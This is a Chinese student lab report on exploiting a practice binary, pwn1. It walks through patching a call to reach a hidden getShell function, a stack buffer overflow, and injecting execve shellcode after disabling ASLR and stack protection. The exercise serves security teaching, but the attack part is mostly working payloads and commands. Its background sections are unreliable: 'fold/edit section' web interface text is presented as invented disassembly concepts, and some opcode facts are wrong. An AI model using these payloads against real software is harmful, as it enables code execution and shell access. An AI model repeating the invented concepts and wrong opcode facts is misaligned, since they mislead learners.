一、实践内容
1.1 反汇编
1.1.1 编程原理
编程的原理是一套指导软件开发和维护的概念、原则和实践,包括抽象以简化复杂系统、模块化以分解程序、封装以隐藏内部状态、继承以共享特性、多态以允许不同响应、算法和数据结构以组织计算和存储、控制结构以控制流程、错误处理以确保健壮性、测试以验证正确性、性能优化以提高效率、可维护性和可读性以保证代码质量、重构以改善内部结构、设计模式以解决常见问题、并发和分布式系统以处理多任务和多节点、安全性以保护程序和数据、以及版本控制和持续集成/部署以优化开发流程。
1.1.2 折叠编辑本段作用及方式
折叠编辑本段的作用是通过隐藏代码的次要部分来提高代码的可读性和组织性,其方式通常是通过编辑器提供的点击或快捷键操作实现,允许开发者选择性地展开或收起代码段。
1.1.3 折叠静态反汇编
折叠静态反汇编是指在分析程序的反汇编代码时,将重复或不重要的指令序列进行折叠隐藏,以便更清晰地查看和分析关键的程序逻辑和结构。
1.1.4 折叠编辑本段相关工具
折叠编辑本段的相关工具通常是集成在代码编辑器或集成开发环境(IDE)中的,它们允许开发者通过点击代码块旁边的图标或使用快捷键来折叠(隐藏)或展开(显示)代码段,以提高代码的可读性和编辑效率。
1.2 一些汇编指令的机器码
NOP (No Operation) - 无操作,通常用作占位符或延迟。
机器码:0x90
MOV (Move) - 将数据从一个位置移动到另一个位置。
示例:将立即数 123 移动到寄存器 AX。
机器码:B8 7B 00 00 00
ADD (Add) - 将两个数相加。
示例:将寄存器 AL 和 BL 相加,结果存回 AL。
机器码:00 D8
SUB (Subtract) - 减法操作。
示例:将寄存器 BL 的内容从 AL 中减去。
机器码:2A C3
JMP (Jump) - 无条件跳转到指定地址。
示例:跳转到内存地址 0x1000。
机器码:EB 18 (相对跳转) 或 E9 XX XX XX XX (绝对跳转)
1.3 补码
补码(Two’s Complement)是一种用于表示整数的计算机编码方式,它允许负数的表示和简化了加法与减法的计算。在补码系统中,正数的表示与其原码(即直接的二进制表示)相同,而负数的表示为其绝对值的二进制表示取反(即每一位取0变1,取1变0)后加1。
补码的主要特点包括:
- 负数表示:一个数的补码是该数的相反数的二进制表示加1。
- 加法通用:补码允许使用相同的硬件电路执行加法操作,无论是处理有符号数还是无符号数的加法。
- 溢出检测:在补码表示中,加法溢出可以通过检查结果的最高位是否与次高位相同来检测。
- 减法转换:减法可以通过转换为加法来执行,即
a - b
可以表示为a + (-b)
,其中-b
是b
的补码。 - 范围:在n位补码表示中,可以表示的范围是-2(n-1)到2(n-1)-1。
补码是现代计算机中使用最广泛的整数表示方法,因为它简化了算术运算的硬件实现,并且使得负数的表示和运算更加直观。
1.4 本次实验内容
1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
二、实践过程
2.1 手工修改可执行文件
为实现方便在另外的Ubuntu虚拟机中实现
1、首先将 kali 虚拟机名称由abc-virtual-machine改为xf(临时修改)。
2、在学习通下载pwn1文件到abc-virtual-machine里面。
3、输入objdump -d pwn1 | more
,对pwn1文件进行反汇编。
4、往下找可以找到getShell
、foo
和main
函数。
在上图中,可以看到main
函数中第四行是在调用08048491
地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。
三者关系:80484ba + d7 ff ff ff = 08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell
函数地址(上图中有)即可。用上述关系计算:804847d - 80484ba = c3 ff ff ff
。可得要修改的机器指令为:e8 c3 ff ff ff
。
5、下面进行修改
(1)用 cp pwn1 pwn20232810 对pwn1文件进行保护,防止破坏,然后输入 vi pwn20232810 对 pwn20232810文件进行修改。
(2)上图中的源代码格式修改起来不太容易,按esc键并输入 :%!xxd 将其变为16进制。(没有xxd的话要先安装)
(3)然后 :wq 保存退出,查看文件权限 ls -l
(4)再次进入pwn20232810文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
(5)输入 :%!xxd -r 还原为原格式后,:wq 保存退出。
(6)此处验证一下 objdump -d pwn20232810 | more 定位过去发现已经成功修改。
(7)重新运行一下pwn1文件和pwn20231906,看文件功能是否改变。
攻击成功。
2.2 构造输入字符串
再次使用objdump -d pwn20232810 | more 命令反编译文件观察foo函数,系统仅预留了 28(0x1c)字节的缓冲区,当输入的字符串长度过长将发生缓冲区溢出,我们的目标是输入一个长字符串使其溢出,覆盖返回地址。
输入命令行 gdb pwn1 对文件pwn1进行调试,再输入r运行。输入长字符串1111111122222222333333334444444455555555。
可以看到eip的值为0x35353535 ,即 5555 的 ASCII码。
输入长字符串1111111122222222333333334444444412345678,看到第33-36字节1234将覆盖到堆栈上的返回地址。
再次确认getShell的内存地址为0804847d。
所以要构造的长字符串第33-36字节为0x7d840408。
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231906
输入命令 xxd 20231906 查看文件的内容是否如预期。
输入 命令 (cat 20231906; cat) | ./pwn1,将20231906的输入作为pwn1的输入。可以看到攻击成功。
2.3注入shellcode并运行
安装execstack。
输入 execstack -s pwn1 设置堆栈可执行。
输入 execstack -q pwn1 查询文件的堆栈是否可执行。
输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化。
使用输出重定向将perl生成的字符串存储到文件中 perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20232810
输入 (cat input_20232810;cat) | ./pwn1 注入攻击。
再打开另一个终端,输入ps -ef | grep pwn1 查看pwn1的进程号。
可以看到进程号为3624。
输入 gdb pwn1进行gdb 调试,输入 attach 3624查看pwn1进程。
输入 disassemble foo,对foo进行反编译。
接着输入 break *0x080484ae 在 0x080484ae 处设置断点。
在第一个终端按下回车,在第二个终端输入 c 。
输入 info r esp 查看栈顶指针所在的位置为 0xffffd5bc,输入命令 x/16x 0xffffd5bc查看存放内容。
看到 0xffffd5bc 中有0x04030201,就是返回地址的位置。计算ffffd5bc+00000004=ffffd5c0。
输入命令perl -e ‘print “A” x 32;print “\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20232810 重新构造shellcode内容。
然后输入(cat input_20232810;cat) | ./pwn1命令再次运行,可以看到攻击成功。
三、学习中遇到的问题及解决
1、问题:在实验一中,用 :%!xxd 修改源代码格式,提示没有 xxd 指令
解决方法:使用 apt-get install xxd 安装 xxd(用桥接模式下载)
四、学习感想和体会
同时通过这次实验,让我对Linux系统的使用更加熟悉,对Linux的各种命令有了更深入的了解。实验过程中虽说遇到了许多问题,但这样的情况已经习惯了,只要用心解决,办法总比困难多。
五、参考资料
https://blog.csdn.net/WangLal/article/details/113100071
https://www.cnblogs.com/WangAoBo/p/6563760.html
https://blog.csdn.net/m0_65266036/article/details/129678551
https://www.cnblogs.com/daijunxi2019/p/15994636.html